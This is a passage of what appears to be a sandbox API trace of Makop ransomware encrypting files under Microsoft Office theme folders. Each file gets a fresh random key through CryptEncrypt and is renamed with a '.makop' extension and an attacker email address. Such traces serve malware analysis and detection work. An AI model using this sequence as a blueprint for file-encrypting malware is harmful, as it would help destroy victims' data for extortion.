param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0099.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.970] CloseHandle (hObject=0x138) returned 1 [0099.970] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0099.970] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0099.970] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0099.970] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE") returned 61 [0099.970] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*") returned 65 [0099.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0099.974] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.974] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0099.974] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0099.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.976] GetProcessHeap () returned 0x48a0000 [0099.976] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.976] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.976] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.976] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0099.981] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.981] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.981] GetProcessHeap () returned 0x48a0000 [0099.981] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.981] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.981] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.981] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.981] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.981] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.981] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.982] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.982] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.982] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.982] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.982] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.982] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3f1, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x3f1, lpOverlapped=0x0) returned 1 [0099.982] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x400, dwBufLen=0x400 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x400) returned 1 [0099.983] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.983] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x400, lpOverlapped=0x0) returned 1 [0099.983] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.983] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.983] SetEndOfFile (hFile=0x138) returned 1 [0099.990] GetProcessHeap () returned 0x48a0000 [0099.990] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.990] GetProcessHeap () returned 0x48a0000 [0099.990] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.990] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0099.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.991] CloseHandle (hObject=0x138) returned 1 [0099.992] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27222c00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27222c00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.ELM", cAlternateFileName="")) returned 1 [0099.992] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM") returned 71 [0099.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.992] GetProcessHeap () returned 0x48a0000 [0099.992] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.992] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.992] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.993] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.994] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.994] GetProcessHeap () returned 0x48a0000 [0099.994] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0099.994] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0099.994] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.994] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0099.997] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.998] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.998] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.998] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.998] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.998] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.998] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.999] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14c40, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x14c40, lpOverlapped=0x0) returned 1 [0100.001] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x14c40, dwBufLen=0x14c40 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x14c40) returned 1 [0100.002] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.002] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14c40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x14c40, lpOverlapped=0x0) returned 1 [0100.003] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.003] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x14d04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.003] SetEndOfFile (hFile=0x138) returned 1 [0100.011] GetProcessHeap () returned 0x48a0000 [0100.011] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0100.011] GetProcessHeap () returned 0x48a0000 [0100.011] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.011] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0100.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.016] CloseHandle (hObject=0x138) returned 1 [0100.016] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE.INF", cAlternateFileName="")) returned 1 [0100.016] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF") returned 71 [0100.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.018] GetProcessHeap () returned 0x48a0000 [0100.018] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.018] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.018] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.019] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0100.023] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.023] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.023] GetProcessHeap () returned 0x48a0000 [0100.023] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0100.023] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0100.023] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.023] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0100.023] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.023] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.023] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.024] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.024] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.025] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.025] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.025] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.025] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1f4, lpOverlapped=0x0) returned 1 [0100.025] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x200, dwBufLen=0x200 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x200) returned 1 [0100.025] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.025] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x200, lpOverlapped=0x0) returned 1 [0100.025] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.025] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.025] SetEndOfFile (hFile=0x138) returned 1 [0100.032] GetProcessHeap () returned 0x48a0000 [0100.032] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0100.032] GetProcessHeap () returned 0x48a0000 [0100.032] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.032] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0100.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.034] CloseHandle (hObject=0x138) returned 1 [0100.034] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6a29, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0100.035] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0100.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.035] GetProcessHeap () returned 0x48a0000 [0100.035] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.035] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.035] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.035] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0100.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.040] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.040] GetProcessHeap () returned 0x48a0000 [0100.040] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.040] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.040] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.040] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.040] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.041] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 